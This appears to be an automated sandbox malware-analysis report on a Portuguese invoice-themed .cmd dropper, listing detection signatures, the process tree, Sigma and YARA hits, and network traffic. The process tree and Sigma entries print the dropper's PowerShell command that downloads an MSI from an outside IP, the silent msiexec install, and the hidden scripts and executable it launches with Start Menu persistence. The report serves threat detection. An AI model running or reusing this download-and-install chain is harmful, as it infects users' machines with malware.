Edit tour

Windows Analysis Report
z1Pedido-Faturado-NF-938731.cmd

Overview

General Information

Sample name:	z1Pedido-Faturado-NF-938731.cmd
Analysis ID:	1439344
MD5:	fb3a82867140a7d85d1dbd43ed1b3574
SHA1:	e4ef86f43cd05a4bfaf4517392a0a509296bd9c8
SHA256:	7b4e9e46ab0de8d2a3d193c41c7538137e8db201e9640e175b4d63b437eab35c
Tags:	cmd
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Yara detected Powershell download and execute

Drops executables to the windows directory (C:\Windows) and starts them

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Sigma detected: PowerShell DownloadFile

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Always Install Elevated MSI Spawned Cmd And Powershell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7528 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,6423806092932819281,9546343448154486120,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 7632 cmdline: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" MD5: 04029E121A0CFA5991749937DD22A1D9)

msiexec.exe (PID: 8568 cmdline: msiexec /i "C:\Users\user\AppData\Local\Temp\arquivo.msi" /quiet /qn MD5: E5DA170027542E25EDE42FC54C929077)

timeout.exe (PID: 9164 cmdline: timeout /t 5 MD5: 100065E21CFBBDE57CBA2838921F84D6)

svchost.exe (PID: 7764 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msiexec.exe (PID: 8600 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 8700 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 90D5E74CE3997E8BCCFBD262FBC25E1F MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSI7F24.tmp (PID: 8900 cmdline: "C:\Windows\Installer\MSI7F24.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ MD5: 768B35409005592DE2333371C6253BC8)

cmd.exe (PID: 9020 cmdline: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSI7F35.tmp (PID: 8948 cmdline: "C:\Windows\Installer\MSI7F35.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ MD5: 768B35409005592DE2333371C6253BC8)

windows10.exe (PID: 9132 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 4348 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 7228 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8244 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom. MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8236 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474 MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8240 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958 MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8880 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2 MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
z1Pedido-Faturado-NF-938731.cmd	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2875643511.0000000000AB1000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000010.00000002.2870610981.0000000000A71000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000014.00000002.2870584165.00000000009C1000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000011.00000002.2870548922.00000000009A1000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000012.00000002.2870540107.00000000009E1000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000013.00000002.2870514261.0000000000901000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 2 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7632.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: Always Install Elevated MSI Spawned Cmd And Powershell

Source: Process started

Author: Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\", CommandLine: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Installer\MSI7F24.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\, ParentImage: C:\Windows\Installer\MSI7F24.tmp, ParentProcessId: 8900, ParentProcessName: MSI7F24.tmp, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\", ProcessId: 9020, ProcessName: cmd.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')" , ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7764, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://34.68.151.162/arquivo.msi

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll

ReversingLabs: Detection: 44%

Source: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	HTTP Parser: No favicon
Source: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	HTTP Parser: No favicon
Source: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	HTTP Parser: No favicon
Source: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.htm	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:49840 version: TLS 1.2

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSI7F24.tmp, 00000009.00000000.1729334915.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F24.tmp, 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F35.tmp, 0000000A.00000000.1729687428.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F35.tmp, 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F24.tmp.7.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: MSI7C03.tmp.7.dr, MSI7B56.tmp.7.dr, MSI7CC1.tmp.7.dr, MSI7C43.tmp.7.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSI7F24.tmp, 00000009.00000000.1729334915.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F24.tmp, 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F35.tmp, 0000000A.00000000.1729687428.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F35.tmp, 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F24.tmp.7.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B1069D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00B1069D
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0084069D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_0084069D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0094D08C FindFirstFileW,	13_2_0094D08C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_009AD08C FindFirstFileW,	17_2_009AD08C

Source: global traffic

HTTP traffic detected: GET /arquivo.msi HTTP/1.1Host: 34.68.151.162Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 151.101.1.229 151.101.1.229
Source: Joe Sandbox View	IP Address: 13.107.246.51 13.107.246.51
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162
Source: unknown	TCP traffic detected without corresponding DNS query: 34.68.151.162

Source: global traffic	HTTP traffic detected: GET /web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/viewer.css HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/apps/head/p4vv9MANyR7lncHFWaoN14UULso.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-menuArrows.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
